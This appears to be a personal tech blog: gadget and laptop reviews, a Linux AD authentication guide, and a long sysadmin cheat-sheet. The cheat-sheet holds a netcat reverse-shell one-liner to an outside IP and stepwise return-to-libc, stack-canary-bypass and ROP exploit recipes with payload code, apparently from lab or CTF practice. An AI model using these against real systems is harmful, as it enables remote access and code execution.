.random.tech.reviews.

Thoughts on the Garmin Instinct Solar sports watch

2020-08-30T13:12:00.001-04:00

These notes are in the context of me searching for a solar powered ABC watch with an accurate step counter.

My hope was that the Instinct Solar will be like the Casio solar powered watches where with normal exposure to natural and artificial light (indoors and outdoors) it will never run out of battery. Unfortunately that is not the case.

On the Garmin watch, the solar charging works only in direct sunlight. It does not charge at all indoors either from natural nor artificial lights and very little outdoors in overcast conditions. You really need clear skies and the watch facing the sun for it to do it's magic. With the heart rate sensor turned off and only the step counter and ABC sensors active, you still need 3 hours of charging in direct sunlight for the watch to never run out of battery.

The Instinct Solar has a few different watch faces with a maximum of four customizable data fields. No support for ConnecIQ unfortunately for me to create my own.

There's also the concern of the battery deteriorating over time. I observed that on my Garmin Fenix 3 watch. It started with 2 weeks of battery life when new and in less than 2 years it got to lasting only for about a week. Casio watches don't seem to have this issue since a 10 year old Pro Trek is still always charged (battery indicator shows "High") regardless of direct sunlight exposure.

Then there's the Casio G-Shock GBD-H1000 which is a solar powered GPS enabled running watch with ABC sensors that in theory should never run out of power as long as you don't use the GPS. The step counter on it however is so inaccurate that it's basically useless. Where Garmin watches count about 1k steps a day when i'm indoors and not leaving the house, the Casio counted ~ 10k steps! If only Garmin could license Casio's solar charging or Casio Garmin's step counter tech :)

Corporate Blacklist

2017-02-06T23:13:00.002-05:00

Date	Name	Reason	Reference
06-Feb-2017	Vizio	VIZIO’s televisions transmit information about what a consumer is watching on a second-by-second basis. The information is stored forever.	link

Linux AD Authentication without joining the domain

2015-09-11T17:17:00.002-04:00

If you want to authenticate to your Linux machine using your Microsoft AD accounts you can achieve that without having to join the domain.

Here's how you set it up on Ubuntu 14.04.

Install SSSD:
apt-get install sssd

Note: On Ubuntu the above command automatically edits /etc/nsswitch.conf as well as the appropriate PAM configuration files; you might have to do this yourself if you're installing on other Linux distros

Setup SSSD by putting this in: /etc/sssd/sssd.conf



[sssd]

config_file_version = 2

services = nss, pam

domains = MY_AD_DOMAIN.COM



[nss]

# the following 2 lines allow you to overwrite the "Unix Attributes" set on your AD (if any) and effectively eliminates the need to change anything on the AD server

default_shell = /bin/bash

override_homedir = /home/%u

filter_users = root

filter_groups = root

reconnection_retries = 3



[pam]



[domain/MY_AD_DOMAIN.COM]

#debug_level = 7

enumerate = False

case_sensitive = False

# always check with the AD server if the credentials are valid

cache_credentials = False

min_id = 100



# Providers

id_provider = ldap

auth_provider = ldap

access_provider = ldap

ldap_access_order = filter, expire

ldap_account_expire_policy = ad

# allow only users in a particular AD security group

ldap_access_filter = memberOf=CN=Admins,OU=Groups,DC=MY_AD_DOMAIN,DC=com

chpass_provider = ldap



# figure out the UID and GID for a linux user from the AD objectSID

ldap_id_mapping = True

# depending on how big the objectSID is on your AD server you might need to tweak the 3 lines below to avoid collisions

ldap_idmap_range_min = 100000

ldap_idmap_range_max = 2000100000

ldap_idmap_range_size = 800000



ldap_id_use_start_tls = True

# don't verify the certificate, unless you can obtain it from your AD server and install it on your Linux machine

ldap_tls_reqcert = never

ldap_schema = ad

ldap_tls_cacertdir = /etc/openldap/certs



ldap_search_base = OU=Users,OU=Objects,DC=MY_AD_DOMAIN,DC=com



# LDAP Class settings

ldap_user_object_class = user

ldap_user_name = sAMAccountName

ldap_user_principal = userPrincipalName



# LDAP connection settings

ldap_uri = ldaps://MY_AD_SERVER:MY_AD_PORT

# use a service account to bind 

ldap_default_bind_dn = CN=MY_SERVICE_ACCOUNT,OU=Users,OU=Objects,DC=MY_AD_DOMAIN,DC=com

ldap_default_authtok_type = obfuscated_password

ldap_default_authtok = MY_OBFUSCATED_PASSWORD

###

For some reason SSSD will refuse to start if the permissions on the config file are not set to 600 so:
chmod 600 /etc/sssd/sssd.conf

Dell Precision M6600 quick review

2011-09-14T12:00:00.000-04:00

specs | performance | in the box

Quick specs

Intel Core i7 2820QM 2.30GHz
4x4GB DDR3 RAM @ 1333MHz
2x2.5" 7200RPM 500GB SATA HDDs in RAID1 setup
Nvidia Quadro 3000M w/ 2GB RAM and Intel HD Graphics 3000
17.3" FHD 16:9 LED (UltraSharp) multi-touch screen (1920x1080) w/ stylus, webcam and mic
Intel Centrino Ultimate-N 6300 802.11 AGN wifi + bluetooth
Slot Load DVD+-R/RW w/Double Layer
9-cell 3760MAh 97Wh battery
Weight 7.77lb (3.6kg)

Details

Performance
The laptop comes with windows 7 professional 64-bit. It boots from power-on to login screen in 45 sec (in a RAID1 setup with 2x500GB 7200rpm SATA disks). Shut down takes 14 seconds from clicking the button (while logged in) to power-off. Going to sleep takes 7 seconds and waking up - 3 seconds. The OS and all the bundled software take about 43gigs and the recovery partition is 752megs.

Windows experience index:

On AC power in "Ultra Performance" profile - 5.2

Super PI for 1mil and 8mil (on AC power):

CrystalDiskMark and HD Tune Pro:

PCMark05:
On AC power with Nvidia videocard in "Ultra Performance" profile - 10394
On battery power with Nvidia videocard in "Ultra Performance" profile - 8726
On battery power with Intel videocard in "Power Saving" profile - 5335 (about 64% slower)

3DMark06:

On AC power with Nvidia videocard in "Ultra Performance" mode - 14208

On battery power with Nvidia videocard in "Ultra Performance" mode - 2766

On battery power with Intel videocard in "Power Saving" mode - 2526 (9% slower)

What's in the box
AC adapter, manuals, stylus, resource media CD.

HP Envy 14 (1110NR) review

2011-02-04T23:44:00.003-05:00

specs | design | performance | in the box | conclusion

Quick specs

Intel Core i5 460M 2.53GHz

2x2GB DDR3 RAM @ 667MHz

2.5" 7200RPM 640GB Samsung SATA HDD

ATI Mobility Radeon HD 5650 w/ 1GB RAM and Intel GMA HD Graphics

14.5" 16:9 LED (HP Brightview Infinity) screen (1366x768) w/ webcam and stereo mic

Intel Centrino Advanced-N 6200 802.11 AGN wifi + bluetooth

Super Multi 8X DVD+-R/RW w/Double Layer

8-cell 3760MAh 59Wh battery

Weight 5.4lb (2.44kg)

Details

Design
This is arguably the best looking consumer HP laptop right now. The minimalistic approach, the simple design and the quality materials make it stand out. It's got an all over aluminum body that feels well built (except the battery cover, see below).

Ports and layout:
Like most laptops in a while this one has all the ports on the sides.

On the right side we have: USB/e-SATA port, HDMI, mini DisplayPort, kensington lock, network and AC. It's worth noting that the power and drive activity lights are also on this side. They're out of direct sight.

On the left side we have: slot-loading optical drive, 2 USBs, headphone/mic jack, headphone jack.

The speakers are located in the front of the laptop. They provide mediocre sound with very little bass. I was expecting more from the "beatsaudio" edition of this laptop. Turns out what it does is allow you to "hear what the artist hear" if you buy a pair of beats headphones. I'd much rather have better speakers, than this gimmick that makes you buy special headphones. Also in the front right corner of the laptop there's a SD/MMC card reader.

Display
This laptop has a 14.5" LED (HP Brightview Infinity) edge-to-edge glossy screen, 16:9 aspect ratio and a resolution of 1366x768. I feel this is not enough and that 1600x900 would look much better. On top it has a webcam with great video quality and 2 microphones. The horizontal viewing angels are ok while the vertical ones are mediocre. Also, being glossy you can use it as a mirror when dark surfaces are displayed so it can be challenging to view outdoors.

This is how bright the screen is compared to a Dell XPS-1645 (on the left) that has a RGBLED display, both on maximum brightness:

Keyboard and touchpad:

The touchpad, even tho it's big and matte, is not good. Its major flaw is that it does not separate the "buttons" from the touchpad area. It's all one big touch-sensitive surface with the bottom part also playing the role of the buttons. If you have a finger on the touchpad and try to click a mouse "button" with another finger, the cursor jumps to the bottom of the screen. You have to take your firs finger off, click the mouse button, then resume moving the cursor. Also the entire area of the touchpad pushes in when you perform a "button" click which can be a little distracting too. Tapping twice on the white dot in the upper left corner will disable the touchpad completely, presumably for gaming or when you're using an external mouse.

The chiclet style back-light keyboard feels solid and does not bend or twist when typing. One strange thing i noticed is that the Ctrl key seems to play the role of the Fn button, and the Fn button needs to be pressed when you want to hit any F-keys. Changing the screen brightness, for example, is done by pressing Ctrl-F2/Ctrl-F3 (instead of Fn-F2/Fn-F3) but if you want to press Alt-F4 you have to do Fn-Alt-F4. This is how the backlight looks in the dark:

Battery and AC adapter:

The laptop came with a 8-cell 3760MAh 59Wh battery. It comes pre-installed and is located completely within the laptop's chassis, under a cover panel. Also located here is the hard drive, so no need to unscrew anything else to replace it. The cover itself feels a little flimsy when on as it does not fit tightly enough and can wiggle a bit when you pick up the laptop. This definitely detracts from an otherwise solid build quality.

The power adapter is not too big.

Performance

An interesting aspect of this laptop is that it has two videocards. By default, if you're on AC it uses the ATI Mobility Radeon HD 5650, but if you're on battery power it switches to the Intel HD. I wonder how inefficient the ATI videocard is at saving power if HP choose to have a second one in there :)

On the software side you get windows 7 home premium 64-bit. It boots from power-on to login screen in 51 sec. Shut down takes 11 seconds from clicking the button to power-off. Going to sleep takes 6 seconds and waking up - 4 seconds. The OS and all the bundled software take about 35gigs and the recovery partition is 25gigs.

Windows experience index:

On AC power in "High Performance" profile - 5.9

Super PI for 1mil and 8mil (on AC power):

CrystalDiskMark:

PCMark05:
On AC power with ATI videocard in "High Performance" profile - 8008
On battery power with ATI videocard in High Performance" profile - 8055
On battery power with Intel videocard in "Power Saving" profile - 5505 (about 46% slower)

3DMark06:

On AC power with ATI videocard in "High Performance Mode" - 6949

On battery power with ATI videocard in "High Performance Mode" - 6948

On battery power with Intel videocard in "High Performance Mode" - 1975 (251% slower)

Wi-fi speed (on AC power):
Tested on Asus RT-N16 b/g/n wireless router at a distance of 5 feet (2 meters).

On 802.11g it averages to 1.8MB/s - aprox. 30% link utilization

On 802.11n it connects at 144Mbps and averages to 6.6MB/s - aprox. 45% link utilization

What's in the box

AC adapter, manuals, 2gb sd card, cloth pouch.

Pros
- good specs
- back-light keyboard
- slot loading optical drive (on the left side too)
- aluminum case
- great build quality

Cons
- crap beats speakers (no bass at all)
- low resolution (1366x768) glossy screen
- horrible touchpad
- flimsy battery cover

Conclusion
This laptop has had the potential to become HP's best yet, with its beautiful design, great aluminum body and good specs. Unfortunately it's being held back by the low screen resolution and the terrible touchpad. The flimsy battery cover also detracts from the otherwise really well build chassis. So close guys, but no cigar. At least not yet.

Tech Cheat-sheet

2010-10-21T09:42:00.033-04:00

Linux: reverse shell with nc that does not have a "-e" option

console> mkfifo /tmp/f; cat /tmp/f | /bin/sh -i | nc 1.2.3.4 1337 >/tmp/f

https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Firefox/Chrome: reload tab with javascript (no extensions)

console> win1 = window.open("https://ifconfig.io");

console> timer1 = setInterval( function(){ win1.location.href="https://ifconfig.io" }, 1*60*1000 ); # every 1 min

Linux: find execve("/bin/sh") rop gadget manually

bash> ldd ./mybinary

linux-vdso.so.1 => (0x00007ffff7ffd000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7c29000)
/lib64/ld-linux-x86-64.so.2 (0x0000555555554000)

bash> strings -tx /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/bash"

180543 /bin/sh

bash> objdump -M intel -d /lib/x86_64-linux-gnu/libc.so.6 | grep -B execve | grep 180543 -A5

   e9421:    48 8d 3d 1b 71 09 00     lea    rdi,[rip+0x9711b]        # 180543 <_libc_intl_domainname+0x242>
   e9428:    48 8b 10                 mov    rdx,QWORD PTR [rax]
   e942b:    e8 00 bd fd ff           call   c5130 <execve>
--
--
   ea379:    48 8d 3d c3 61 09 00     lea    rdi,[rip+0x961c3]        # 180543 <_libc_intl_domainname+0x242>
   ea380:    48 8b 10                 mov    rdx,QWORD PTR [rax]
   ea383:    e8 a8 ad fd ff           call   c5130 <execve>

bash> gdb ./mybinary

gdb-peda$ break main

gdb-peda$ run

gdb-peda$ vmmap

Start              End                Perm    Name
0x00400000         0x00401000         r-xp    /tmp/test
0x00600000         0x00601000         r--p    /tmp/test
0x00601000         0x00602000         rw-p    /tmp/test
0x00007ffff7a11000 0x00007ffff7bcf000 r-xp    /lib/x86_64-linux-gnu/libc-2.19.so

....

gdb-peda$ x/3i 0x00007ffff7a11000+0xe9421

0x7ffff7afa421 <exec_comm+1281>:    lea    rdi,[rip+0x9711b]        # 0x7ffff7b91543
0x7ffff7afa428 <exec_comm+1288>:    mov    rdx,QWORD PTR [rax]
0x7ffff7afa42b <exec_comm+1291>:    call   0x7ffff7ad6130 <__execve>

Linux: 64bit returl-to-libc gets() stack overflow canary bypass # -ASLR +NX

1. find the offset N on the stack that overwirtes RIP, the CANNARY lives 16 bytes earlier

2. find address of "pop rdi;ret", system(), "sh", exit()

3. create the payload (in python)

import struct as s

sys = 0x7ffff7a57590 # sytem()
exi = 0x7ffff7a4d1e0     # exit()
cmd = 0x7ffff7a21dfe     # null-terminated arg for system
pad = 0x1111111111111111 # random qword
pop = 0x400643         # pop rdi; ret

print "A"*N + "CANNARYV" + s.pack("<Q",pad) + s.pack("<Q",pop) + s.pack("<Q",cmd) + s.pack("<Q",sys) + s.pack("<Q",exi)

4. save the pattern in a file

bash> python own.py > pattern

5. run the program in gdb and patch the cannary value after gets() executes

gdb-peda$ pdisass main

Dump of assembler code for function main:
   0x000000000040059d <+0>:    push   rbp
   0x000000000040059e <+1>:    mov    rbp,rsp
   0x00000000004005a1 <+4>:    add    rsp,0xffffffffffffff80
   0x00000000004005a5 <+8>:    mov    DWORD PTR [rbp-0x74],edi
   0x00000000004005a8 <+11>:   mov    QWORD PTR [rbp-0x80],rsi
   0x00000000004005ac <+15>:   mov    rax,QWORD PTR fs:0x28
   0x00000000004005b5 <+24>:   mov    QWORD PTR [rbp-0x8],rax
   0x00000000004005b9 <+28>:   xor    eax,eax
   0x00000000004005bb <+30>:   lea    rax,[rbp-0x70]
   0x00000000004005bf <+34>:   mov    rdi,rax
   0x00000000004005c2 <+37>:   call   0x4004a0 <gets@plt>
   0x00000000004005c7 <+42>:   mov    rdx,QWORD PTR [rbp-0x8]
   0x00000000004005cb <+46>:   xor    rdx,QWORD PTR fs:0x28
   0x00000000004005d4 <+55>:   je     0x4005db <main+62>
   0x00000000004005d6 <+57>:   call   0x400470 <__stack_chk_fail@plt>
   0x00000000004005db <+62>:   leave
   0x00000000004005dc <+63>:   ret
End of assembler dump.

gdb-peda$ break *0x00000000004005b5

gdb-peda$ break *0x00000000004005c7

gdb-peda$ run < pattern

gdb-peda$ p $rax

$1 = 0x8393371af6b62200 <- this is the cannary value

gdb-peda$ continue
gdb-peda$ patch $rbp-0x8 0x8393371af6b62200

Written 8 bytes to 0x7fffffffed68

gdb-peda$ continue

Linux: 64bit return-to-libc gets() stack overflow exploit # -ASLR +NX

note:

on 64bit arg to system() needs to be in RDI

pop rdi - load next qword from stack into RDI, ex: addr("sh")

ret - execute next instruction on the stack, ex: addr(system)

1. find the offset N on the stack that overwrites RIP
2. find address of "pop rdi;ret" rop gadget so we can pass args to functions

gdb-peda$ break main
gdb-peda$ run
gdb-peda$ ropsearch "pop rdi"

0x004005b3 : (b'5fc3') pop rdi; ret

3. find address of system() and exit()

gdb-peda$ print system

gdb-peda$ print exit

4. find addr of "sh" string somewhere in memory ending with NULL (0x00)

gdb-peda$ find "sh"

libc : 0x7ffff7a22c37 --> 0x6572687470006873 ('sh')

gdb-peda$ hexdump 0x7ffff7a22c37

0x00007ffff7a22c37 : 73 68 00 70 74 68 72 65 61 64 5f 63 6f 6e 64 5f sh.pthread_cond_

5. create the payload (with perl) - this will only work with gets() as strcpy() ignores NULL bytes

print "A"xN . "\xb3\x05\x40\x00\x00\x00\x00\x00" . "\x37\x2c\xa2\xf7\xff\x7f\x00\x00" . "<addr_of_system>" . "<addr_of_exit>"

Linux: ASM: argument passing to functions 32bit vs 64bit
32bit binaries pass arguments to function on the stack:

-4 | addr(param2)
-8 | addr(param1)
-12 | addr(ret)
-16 | addr(func)

64bit binaries pass arguments to function in registers:

RDI - first arg
RSI - second arg
RDX - third arg
RCX - fourth arg
R8 - fifth arg
R9 - sixth arg

Only the 7th+ arguments are passed on the stack.

Linux: 32bit return-to-libc gets() stack overflow exploit # +ASLR +NX
gcc -o mybinary -fno-stack-protector -m32 mybinary.c
+------------+------------+----------+-----------+
|AAAAAAAAAAAA|addr(system)|addr(exit)|addr(ENVAR)|
+------------+------------+----------+-----------+
args EBP

import struct as s

import subprocess as sp



# after mybinary is started and waiting for input find addresss of libc and stack

libc = sp.Popen("cat /proc/`pidof mybinary`/maps | grep libc | head -1 | awk -F- '{ print $1 }'", shell=True, stdout=sp.PIPE).stdout.read()

stack_top = sp.Popen("cat /proc/`pidof mybinary`/maps | grep stack | awk '{ print $1 }' | awk -F- '{ print $2 }'", shell=True, stdout=sp.PIPE).stdout.read()



# find constant offset b/w libc and addr with peda "distance"

sys = hex(int(libc,16) + 262928)        # addr of system() = libc + constant offset

exi = hex(int(libc,16) + 209504)        # addr of exit() = libc + constant offset

env = hex(int(stack_top,16) - 60)       # addr of ENVAR = top of stack - some offset

  # points right at this location                                 -60 v---------------------------------+ stack_top

  # bash> cat in | env -i PWD="/tmp" SHELL="/bin/bash" SHLVL=0 ENVAR="    ls -l;id;whoami;cat /root/flag" /tmp/mybinary



print "A" * 503 + s.pack("<I",int(sys,16)) + s.pack("<I",int(exi,16)) + s.pack("<I",int(env,16)) + "AAA" # python own.py > in

Linux: writing to stdin of a process after you start it
bash> mkfifo /tmp/input
bash> cat /tmp/input | myproc
bash> cat file > /tmp/input

Linux: 32bit return-to-libc stack overflow exploit # -ASLR +NX
gcc -o mybinary -fno-stack-protector -m32 mybinary.c
+--------------+--------+--------+-------------+
| AAAAAAAAAAAA |system()|ret_addr|arg_to_system|
+--------------+--------+--------+-------------+
args EBP

1. find the offset N on the stack that overwrites EIP
2. the payload will have to be in the format "A"xN + addr of system() + addr of exit() + addr of "sh"
3. find address of system() and exit()

(gdb) break main
(gdb) run
(gdb) print system
(gdb) print exit

4. find addr of "sh" string somewhere in memory ending with NULL (0x00)

(gdb) info proc map # vmmap in peda

process 3000
Mapped address spaces:
   Start Addr   End Addr       Size     Offset objfile
   0x8048000 0x8049000     0x1000        0x0 /tmp/test
   0x8049000 0x804a000     0x1000        0x0 /tmp/test
   0x804a000 0x804b000     0x1000     0x1000 /tmp/test
   0xf7e1e000 0xf7e1f000     0x1000        0x0
   0xf7e1f000 0xf7fca000   0x1ab000        0x0 /lib/i386-linux-gnu/libc-2.19.so
   0xf7fca000 0xf7fcc000     0x2000   0x1aa000 /lib/i386-linux-gnu/libc-2.19.so
   0xf7fcc000 0xf7fcd000     0x1000   0x1ac000 /lib/i386-linux-gnu/libc-2.19.so
   0xf7fcd000 0xf7fd0000     0x3000        0x0
   0xf7fda000 0xf7fdb000     0x1000        0x0
   0xf7fdb000 0xf7fdc000     0x1000        0x0 [vdso]
   0xf7fdc000 0xf7ffc000    0x20000        0x0 /lib/i386-linux-gnu/ld-2.19.so
   0xf7ffc000 0xf7ffd000     0x1000    0x1f000 /lib/i386-linux-gnu/ld-2.19.so
   0xf7ffd000 0xf7ffe000     0x1000    0x20000 /lib/i386-linux-gnu/ld-2.19.so
   0xfffdd000 0xffffe000    0x21000        0x0 [stack]

(gdb) find 0xf7e1f000,0xf7fca000,"sh" # find "sh" in peda

0xf7e2d469
0xf7e2e3a8
...
11 patterns found.

(gdb) x/s 0xf7e2d469

0xf7e2d469: "sh"

5. create the payload (with perl) - this will only work with gets() as strcpy() ignores NULL bytes

print "A"xN."<addr_of_system>"."<addr_of_exit>"."\x69\xd4\xe2\xf7"

Linux: shellcode repo
http://shell-storm.org/shellcode/

Linux: basic stack overflow exploit # -ASLR -NX
gcc -o mybinary -fno-stack-protector -z execstack -m32 mybinary.c
+--------------+-----+-----------+
| AAAAAAAAAAAA | RET | SHELLCODE |
+--------------+-----+-----------+
args EBP

Running your program with identical stacks in the terminal and in gdb:

bash> env -i PWD="/tmp" SHELL="/bin/bash" SHLVL=0 /bin/bash -c "(cat exploit; cat) | /tmp/mybinary"
bash> env -i PWD="/tmp" SHELL="/bin/bash" SHLVL=0 gdb /tmp/mybinary"

Within gdb, make sure to unset env LINES and env COLUMNS

Linux: ASM: stack frame

Apache: mod_rewrite simulator

http://htaccess.madewithlove.be/

Apache: Turn off server signature for production

#httpd.conf
ServerSignature Off
ServerTokens Prod

AWK: Remove duplicate lines from a file:

bash> awk '!x[$0]++' file.txt

AWS: CLI: Environment variables

bash> AWS_ACCESS_KEY_ID=XXX AWS_SECRET_ACCESS_KEY=XXX aws s3 ls

AWS: ELB: Converting certificate private key into PEM format acceptable by ELB

bash> openssl rsa -in my-openssl-pk -outform PEM > my-openssl-pk.pem

AWS: S3: URL for S3 buckets

http://bucket_name.s3.amazonaws.com/

AWS: S3: IAM policy for granting full access to a single bucket from a specific IP range

{
"Statement": [
{
"Effect": "Allow",
"Action": ["s3:GetBucketLocation", "s3:ListAllMyBuckets"],
"Resource": "arn:aws:s3:::*",
"Condition": {
"IpAddress": { "aws:SourceIp": ["1.1.1.1/16", "2.2.2.2/30"] }
}
},
{
"Effect": "Allow",
"Action": "s3:*",
"Resource": [ "arn:aws:s3:::bucket_name", "arn:aws:s3:::bucket_name/*"],
"Condition": {
"IpAddress": { "aws:SourceIp": ["1.1.1.1/16", "2.2.2.2/30"] }
}
}
]
}

AWS: S3: Bucket policy for granting full access to a single bucket from a specific IP range

{
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": ["s3:GetBucketLocation", "s3:ListAllMyBuckets"],
"Resource": [ "arn:aws:s3:::*" ],
"Condition": {
"IpAddress": { "aws:SourceIp": ["1.1.1.1/16", "2.2.2.2/30"] }
}
},
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:*",
"Resource": [ "arn:aws:s3:::bucket_name", "arn:aws:s3:::bucket_name/*"],
"Condition": {
"IpAddress": { "aws:SourceIp": ["1.1.1.1/16", "2.2.2.2/30"] }
}
}
]
}

AWS: RDS: MySQL: Import Issue

ERROR 1227 (42000) at line X: Access denied; you need (at least one of) the SUPER privilege(s) for this operation
If you get this error first in the parameter group for the RDS you're importing into try setting "log_bin_trust_function_creators = 1". If that does not help than the DEFINER statement in your trigger definition is wrong. Open the sql file with vim and go to line X. See what DEFINER statement looks like and either correct it so it matches the user you're importing as or just delete it completely (:%s/DEFINER=`user`@`host`//g). The import should work now.

AWS: RDS: MySQL: Grant all privileges to DB user

Generally "GRANT ALL ON *.*" on RDS will fail because the root account does not have SUPER user privileges. MySQL however allows the use of `%` or "_" as wildcards for the database, which will allow GRANT on all of the user-created databases and tables.
mysql> GRANT ALL ON `%`.* TO user@'%' IDENTIFIED BY 'password';

AWS: RDS: MySQL: Rotate mysql.general_log and mysql.slow_log table

mysql> CALL mysql.rds_rotate_general_log;

AWS: RDS: MySQL: Skip a SQL operation if replication gets stuck

1. Connect with mysql command to slave

2. CALL mysql.rds_skip_repl_error;

Git: Permanently cache credentials

For buildmachines it's useful to permanently cache the git service account
bash> git config --global credential.helper store

Haproxy: Setup logging properly through rsyslogd

# haproxy.cfg
log /dev/log local1 info
###
# rsyslog.conf
# if haproxy logs are also being written to /var/log/messages you can exclude them
*.info;mail.none;authpriv.none;cron.none;local1.none /var/log/messages
###
# rsyslog.d/10-haproxy.conf
$AddUnixListenSocket /var/lib/haproxy/dev/log # if haproxy is being chrooted to /var/lib/haproxy, run: mkdir /var/lib/haproxy/dev
if $programname startswith 'haproxy' then /var/log/haproxy.log
&~
###

Haproxy: Maintenance mode on demand

# haproxy.cfg
global
stats socket /var/lib/haproxy/stats mode 600 level admin
###

bash> mkdir -p /var/lib/haproxy/

# install socat tool
bash> echo "disable server <backend>/<server-name>" | socat stdio /var/lib/haproxy/stats
bash> echo "enable server <backend>/<server-name>" | socat stdio /var/lib/haproxy/stats

LDAP: ldapsearch

bash> ldapsearch -x -h 1.2.3.4 -D "CN=My Name,OU=Mailboxes,DC=company,DC=com" -W -b 'CN=John Doe,OU=Mailboxes,DC=company,dc=com';

bash> ldapsearch -x -h ad.mydomain.com -D "username" -W password -b "OU=Users, OU=Myorg, dc=mydomain, dc=com";

Linux: bash: parallel runs of a process in N batches

#!/bin/bash

N=4; i=1 # 3 parallel threads

(

for thing in a b c d e f g; do

((i=i%N)); ((i++==0)) && wait

my-cmd ${thing} &

done

)

Linux: rsyslog: disable rate limit
# /etc/rsyslog.conf
$SystemLogRateLimitInterval 0
$SystemLogRateLimitBurst 0
###

Linux: Sysctl: enable VM address space layout randomization

# in /etc/sysctl.conf
kernel.randomize_va_space = 2

Linux: IPTABLES: Connection throttling

Drop incoming connections which make more than 5 connection attempts on port 22 within 60 seconds:
bash> iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent --set
bash> iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent --update --seconds 60 --hitcount 5 -j DROP

Linux: IPTABLES: Block by matching string

Block DNS resolution for a domain containing "firefox"

bash> iptables -A OUTPUT -p udp -m upd --dport 53 -m string --string "firefox" --algo bm -j REJECT

Block HTTPS connections with "googleuser" in URL

bash> iptables -A OUTPUT -p tcp -m tcp --dport 443 -m string --string "googleuser" --algo bm -j REJECT

MSSQL: Find out what IP address you're connecting from
SELECT client_net_address FROM sys.dm_exec_connections WHERE session_id = @@spid

MySQL: Obtain a copy of the database for setting up a replica (with minimal locking)
bash> mysqldump --databases --master-data --routines --single-transaction my_db_name > my_db_name.sql

MySQL: Make a backup without locking the database (for InnoDB engine only)

bash> mysqldump --single-transaction --routines my_db_name > my_db_name.sql

MySQL: Skip a SQL operation if replication gets stuck
Connect with mysql command to slave

mysql> SHOW SLAVE STATUS \G
mysql> STOP SLAVE;
mysql> SET GLOBAL SQL_SLAVE_SKIP_COUNTER = 1;
mysql> START SLAVE;

OpenSSH: Generate Public key from a Private key
bash> ssh-keygen -y -f id_rsa > id_rsa.pub

OpenSSL: Generate Self-Signed SSL certificate
bash> openssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem -out cert.pem -days 1234

OpenSSL: Encrypt a string using AES-128-CBC and base64 encode it
bash> openssl aes-128-cbc -K <encryption_key_hex> -iv <initialization_vector_hex> -in file.orig -a

Splunk: UF: Renaming Hosts
Method 1: To change the host name reported on the Splunk Web UI, on the forwarding agent edit the following file "/opt/splunkforwarder/etc/system/local/inputs.conf" then restart the splunk agent.

Method 2: After changing the hostname for a machine or before making an AMI make sure to stop splunk forwarder and run:

bash> splunk clone-prep-clear-config

Splunk: UF: Check Status of Universal Forwarder
On the machine running the Splunk Universal Forwarder open a browser and go to:
https://localhost:8089/services/admin/inputstatus/TailingProcessor:FileStatus

Or from the command line:
/opt/splunkforwarder/bin/splunk _internal call /services/admin/inputstatus/TailingProcessor:FileStatus

Splunk: UF: Reindex all files on a host

1. On any Search Head - delete the respective data from the indexers first, otherwise there will be duplicates after the reindex; log in as admin and pipe the search results you want gone to the delete command (i.e. sourceytpe=balh | delete), make sure to do it for "All time" time period

2. On the machine with the Universal Forwarder - delete the fishbucket: rm -rf /opt/splunkforwarder/var/lib/splunk/fishbucket && /etc/init.d/splunk restart

NOTE

If files monitored by splunk UF have not had any logs in them in the last few hours you might need to "echo "test" >> monitored_log_file" before step 2 above will work

Splunk: UF: Autoscaling

When running the Splunk UF on an ASG you can't use the IP address or hostname of the instances for controlling things on the Splunk deployment server, instead you can use the clientName. Here's now you set it up on the UF

# add below lines to /opt/splunkforwarder/etc/system/local/deploymentclient.conf
[deployment-client]
clientName = my-host-name

TAR: copy directory to another server and preserve permissions

bash> tar cf - /my/dir | ssh user@host tar xf - -C /your/dir

TeamPass: Custom improvements

items.load.php:

> ZeroClipboard.setMoviePath("<?php echo $_SESSION['settings']['cpassman_url'];?>/includes/js/zeroclipboard/ZeroClipboard.swf");
< ZeroClipboard.setMoviePath("https://teampass.ecs.autodesk.com/teampass/includes/js/zeroclipboard/ZeroClipboard.swf");

items.php:
> id="pw_size" value="8"

> id="edit_pw_size" value="8"

< id="pw_size" value="16"

< id="edit_pw_size" value="16"

Ubuntu: Disable upstart job from running at boot time

# echo 'manual' > /etc/init/SERVICE.override

bash> echo 'manual' > /etc/init/rpcbind.override

Ubuntu: Upstart init script template
#/etc/init/nodejs.conf
description "node"
author "admin@company.com"

respawn
respawn limit 20 5

start on runlevel [2345]
stop on runlevel [^2345]

# set limit on number of opened files
limit nofile 65535 65535

script

exec sudo -u www-data NODE_ENV=prod /usr/bin/nodejs /var/www/server.js >> /var/log/nodejs.log 2>&1
end script
###

Ubuntu: Systemv init script template

#/etc/init.d/my_service

### BEGIN INIT INFO
# Provides: my_service
# Required-Start:
# Required-Stop:
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Description: Start my_service at boot time
### END INIT INFO

SERVICE="my_service"
CMD=/usr/bin/my_service

case $1 in
"start")
echo "Starting $SERVICE"
;;
"stop")
echo "Stopping $SERVICE"
;;
"restart")
echo "Restart $SERVICE"
;;
"status")
echo "$SERVICE Status"
pidof $CMD
;;
*)
echo "Invalid Option"
echo "Valid Options: start|stop|restart|status"
;;
esac
###

To enable my_service to start/stop automatically run the following:
bash> update-rc.d my_service defaults
bash> update-rc.d my_service enable

Ubuntu: Duo Authentication
# create /etc/apt/sources.list.d/duosecurity.list containing the line below

deb http://pkg.duosecurity.com/Ubuntu trusty main

curl -s https://www.duosecurity.com/APT-GPG-KEY-DUO | sudo apt-key add -
apt-get update && apt-get install duo-unix

# edit /etc/pam.d/common-auth and add the following line AFTER pam_deny.so line
auth requisite /lib64/security/pam_duo.so

### edit /etc/ssh/sshd_config
UsePAM yes
ChallengeResponseAuthentication yes
UseDNS no

# decide what to do about pubkey authentication as if that succeeds SSH skips PAM
# add below to the end of sshd_config to allow ssh keys only from restricted networks
PubkeyAuthentication no
Match Address 1.1.1.1/16,2.2.2.2/16
PubkeyAuthentication yes
###

bash> service ssh restart

VLC: capture one frame (25fps) from a webcam and save it in png

